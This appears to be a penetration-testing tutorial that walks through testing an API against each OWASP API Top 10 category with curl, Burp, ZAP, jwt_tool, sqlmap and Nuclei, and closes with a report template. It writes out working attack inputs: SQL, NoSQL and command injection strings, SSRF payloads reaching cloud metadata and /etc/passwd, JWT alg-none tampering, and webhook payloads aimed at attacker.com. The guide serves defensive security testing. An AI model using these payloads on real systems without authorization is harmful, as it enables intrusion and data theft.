API penetration testing identifies vulnerabilities before attackers do. This guide covers methodology, tools, and techniques for testing the OWASP API Top 10 vulnerabilities.
API Pentesting Methodology
┌─────────────────────────────────────────────────────────────────────────────┐
│ API PENETRATION TESTING PHASES │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. RECONNAISSANCE │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • API documentation review (OpenAPI, Swagger) │ │
│ │ • Endpoint discovery (fuzzing, JS analysis, mobile app reversing) │ │
│ │ • Technology fingerprinting (headers, error messages) │ │
│ │ • Authentication mechanism identification │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 2. MAPPING │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • Catalog all endpoints and methods │ │
│ │ • Identify parameters and data types │ │
│ │ • Map authentication requirements │ │
│ │ • Document authorization model │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 3. VULNERABILITY TESTING │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • OWASP API Top 10 testing │ │
│ │ • Authentication/authorization bypass │ │
│ │ • Injection testing (SQL, NoSQL, Command) │ │
│ │ • Business logic testing │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 4. EXPLOITATION & VALIDATION │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • Confirm vulnerabilities are exploitable │ │
│ │ • Assess real-world impact │ │
│ │ • Chain vulnerabilities for greater impact │ │
│ │ • Document with evidence │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Tools Setup
Burp Suite Configuration
# Start Burp with API-focused configuration
java -jar burpsuite_pro.jar
# Recommended extensions for API testing:
# - JSON Beautifier
# - JWT Editor
# - Autorize (authorization testing)
# - Param Miner (hidden parameter discovery)
# - Active Scan++ (enhanced scanning)
OWASP ZAP Setup
# Install ZAP
brew install zaproxy # macOS
# or download from https://www.zaproxy.org/
# Start ZAP with API scanning mode
zap.sh -daemon -port 8080 -config api.key=your-api-key
# Import OpenAPI spec
curl "http://localhost:8080/JSON/openapi/action/importUrl/?url=https://api.example.com/openapi.json&apikey=your-api-key"
# Run active scan
curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://api.example.com&apikey=your-api-key"
Postman Security Testing
// Postman pre-request script for auth testing
pm.environment.set("auth_token", pm.environment.get("valid_token"));
// Postman test script for security checks
pm.test("No sensitive data in response", () => {
const response = pm.response.json();
pm.expect(JSON.stringify(response)).to.not.include("password");
pm.expect(JSON.stringify(response)).to.not.include("ssn");
});
pm.test("Proper status code", () => {
pm.expect(pm.response.code).to.be.oneOf([200, 201, 204]);
});
pm.test("Security headers present", () => {
pm.expect(pm.response.headers.get("X-Content-Type-Options")).to.eql("nosniff");
pm.expect(pm.response.headers.get("Strict-Transport-Security")).to.exist;
});
OWASP API Top 10 Testing
API1: Broken Object Level Authorization (BOLA)
# Test BOLA by changing object IDs
# 1. Get your own resource
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/users/123/profile"
# 2. Try accessing another user's resource
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/users/124/profile" # Different ID
# 3. Try predictable IDs
for id in $(seq 1 100); do
response=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://api.example.com/users/$id/profile")
if [ "$response" = "200" ]; then
echo "Accessible: $id"
fi
done
# 4. Test with UUIDs from other sessions
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/orders/550e8400-e29b-41d4-a716-446655440000"
API2: Broken Authentication
# Test authentication weaknesses
# 1. Access without token
curl "https://api.example.com/api/users"
# 2. Test with expired token
curl -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://api.example.com/api/users"
# 3. Test with malformed token
curl -H "Authorization: Bearer invalid.token.here" \
"https://api.example.com/api/users"
# 4. JWT manipulation (use jwt_tool)
# Decode JWT
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null
# Change algorithm to none
python3 jwt_tool.py "$TOKEN" -X a
# Change user ID in payload
python3 jwt_tool.py "$TOKEN" -I -pc user_id -pv "admin"
API3: Broken Object Property Level Authorization
# Test for accessing unauthorized fields
# 1. Check response for sensitive fields you shouldn't see
curl -H "Authorization: Bearer $USER_TOKEN" \
"https://api.example.com/users/me" | jq .
# Look for fields like: password_hash, ssn, internal_notes, admin_flags
# 2. Test field-level filtering
curl -H "Authorization: Bearer $USER_TOKEN" \
"https://api.example.com/users/me?fields=password_hash,ssn"
# 3. GraphQL field exposure
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ user(id: 1) { name email passwordHash internalNotes }}"}' \
"https://api.example.com/graphql"
API4: Unrestricted Resource Consumption
# Test rate limiting and resource exhaustion
# 1. Rapid requests to test rate limiting
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.example.com/api/search?q=test" &
done
wait
# 2. Large payload test
curl -X POST \
-H "Content-Type: application/json" \
-d "{\"data\": \"$(python3 -c 'print("A" * 10000000)')\"}" \
"https://api.example.com/api/upload"
# 3. Complex query (GraphQL)
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ users { friends { friends { friends { friends { name }}}}}}"}' \
"https://api.example.com/graphql"
# 4. Pagination abuse
curl "https://api.example.com/api/users?limit=999999&offset=0"
API5: Broken Function Level Authorization
# Test access to privileged functions
# 1. Access admin endpoints as regular user
curl -H "Authorization: Bearer $USER_TOKEN" \
"https://api.example.com/admin/users"
curl -H "Authorization: Bearer $USER_TOKEN" \
-X DELETE "https://api.example.com/admin/users/123"
# 2. Test method-based auth bypass
curl -H "Authorization: Bearer $USER_TOKEN" \
-X GET "https://api.example.com/admin/config" # May be blocked
curl -H "Authorization: Bearer $USER_TOKEN" \
-X OPTIONS "https://api.example.com/admin/config" # May work
# 3. Test internal endpoints
curl "https://api.example.com/internal/metrics"
curl "https://api.example.com/debug/vars"
curl "https://api.example.com/actuator/health"
API6: Server-Side Request Forgery (SSRF)
# Test parameters that accept URLs
# 1. Internal network access
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8080/admin"}' \
"https://api.example.com/api/fetch"
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:22"}' \
"https://api.example.com/api/preview"
# 2. Cloud metadata endpoints
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}' \
"https://api.example.com/api/import"
# 3. Internal service discovery
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://internal-api.local/health"}' \
"https://api.example.com/api/webhook"
# 4. Protocol smuggling
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "file:///etc/passwd"}' \
"https://api.example.com/api/download"
API7: Security Misconfiguration
# Test for misconfigurations
# 1. Verbose error messages
curl -X POST \
-H "Content-Type: application/json" \
-d '{"email": "not-an-email"}' \
"https://api.example.com/api/users"
# Check for stack traces, SQL errors, internal paths
# 2. Debug endpoints
curl "https://api.example.com/debug"
curl "https://api.example.com/phpinfo.php"
curl "https://api.example.com/server-status"
curl "https://api.example.com/.env"
# 3. CORS misconfiguration
curl -H "Origin: https://evil.com" \
-I "https://api.example.com/api/users"
# Check Access-Control-Allow-Origin
# 4. Missing security headers
curl -I "https://api.example.com/api/users" | grep -iE "x-frame|x-content|strict-transport|content-security"
# 5. HTTP methods
curl -X OPTIONS "https://api.example.com/api/users"
curl -X TRACE "https://api.example.com/api/users"
API8: Injection
# SQL Injection testing
# 1. Error-based SQL injection
curl "https://api.example.com/api/users?id=1'"
curl "https://api.example.com/api/users?id=1 OR 1=1--"
curl "https://api.example.com/api/search?q=' UNION SELECT username,password FROM users--"
# 2. NoSQL injection (MongoDB)
curl -X POST \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' \
"https://api.example.com/api/login"
curl -X POST \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "admin.*"}}' \
"https://api.example.com/api/search"
# 3. Command injection
curl "https://api.example.com/api/ping?host=127.0.0.1;id"
curl "https://api.example.com/api/convert?file=test.pdf|cat /etc/passwd"
# 4. Use sqlmap for automated SQL injection testing
sqlmap -u "https://api.example.com/api/users?id=1" \
--headers="Authorization: Bearer $TOKEN" \
--dbs
API9: Improper Asset Management
# Find undocumented or old API versions
# 1. Version discovery
for v in v1 v2 v3 beta dev staging old legacy; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.example.com/$v/users")
echo "$v: $response"
done
# 2. Subdomain enumeration
amass enum -d example.com | grep api
# 3. Historical endpoints (Wayback Machine)
curl "http://web.archive.org/cdx/search/cdx?url=api.example.com/*&output=json"
# 4. JS file analysis for hidden endpoints
curl -s "https://example.com/app.js" | grep -oE '/api/[a-zA-Z0-9/_-]+'
API10: Unsafe Consumption of APIs
# Test how API handles external data
# 1. Webhook injection
curl -X POST \
-H "Content-Type: application/json" \
-d '{"callback_url": "https://attacker.com/capture?data="}' \
"https://api.example.com/api/webhooks"
# 2. External data validation
# If API fetches and processes external URLs
curl -X POST \
-H "Content-Type: application/json" \
-d '{"import_url": "https://attacker.com/malicious.xml"}' \
"https://api.example.com/api/import"
Mass Assignment Testing
# Test for mass assignment vulnerabilities
# 1. Add unauthorized fields to create request
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Test User",
"email": "[email protected]",
"role": "admin",
"isAdmin": true,
"verified": true,
"balance": 1000000
}' \
"https://api.example.com/api/users"
# 2. Check if fields were set
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/api/users/me" | jq .
# 3. Test on update endpoints
curl -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "admin", "permissions": ["all"]}' \
"https://api.example.com/api/users/me"
Automated Testing with Nuclei
# nuclei-templates/api-bola.yaml
id: api-bola-test
info:
name: API BOLA Test
severity: high
description: Tests for Broken Object Level Authorization
requests:
- method: GET
path:
- "{{BaseURL}}/api/users/{{user_id}}"
headers:
Authorization: "Bearer {{token}}"
matchers:
- type: status
status:
- 200
- type: word
words:
- "email"
- "name"
condition: and
# Run Nuclei with API templates
nuclei -u https://api.example.com -t api-security/ \
-H "Authorization: Bearer $TOKEN"
Reporting Template
# API Penetration Test Report
## Executive Summary
- **Client**: Example Corp
- **Target**: api.example.com
- **Testing Period**: Jan 15-17, 2025
- **Risk Rating**: HIGH (3 Critical, 5 High, 8 Medium findings)
## Critical Findings
### 1. Broken Object Level Authorization (BOLA) - Critical
**CVSS**: 9.1 | **Endpoint**: /api/users/{id}/profile
**Description**: Any authenticated user can access any other user's profile by changing the user ID parameter.
**Evidence**:
As User A (ID: 123)
curl -H "Authorization: Bearer $TOKEN_A"
"https://api.example.com/api/users/456/profile"
Response: User B's private data returned
{"id": 456, "email": "[email protected]", "ssn": "xxx-xx-xxxx"}
**Impact**: Complete compromise of user data confidentiality. Attackers can enumerate and access all user profiles.
**Remediation**:
```javascript
// Add authorization check
async function getProfile(req, res) {
const requestedId = req.params.id;
const currentUserId = req.user.id;
if (requestedId !== currentUserId && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
// ...
}
[Continue for each finding...]
## Best Practices
1. **Get authorization** - Written scope and permission before testing
2. **Use safe testing data** - Don't test with production data
3. **Test in staging first** - Avoid impacting production
4. **Document everything** - Record all requests and responses
5. **Report responsibly** - Follow coordinated disclosure
6. **Automate regression tests** - Add tests for found vulnerabilities
7. **Test authentication thoroughly** - Most APIs have auth flaws
8. **Think like an attacker** - What would you want to access?
9. **Chain vulnerabilities** - Combine low-severity issues for impact
10. **Retest after fixes** - Verify remediations are effective
## Next Steps
- **[API Security Complete Guide](/blog/api-security-complete-guide)** - Comprehensive security overview
- **[API Security Testing Workflow](/blog/api-security-testing-workflow)** - Systematic testing approach
- **[API Input Validation](/blog/api-input-validation-guide)** - Prevent injection attacks
- **[GraphQL Security](/blog/graphql-security-guide)** - GraphQL-specific testing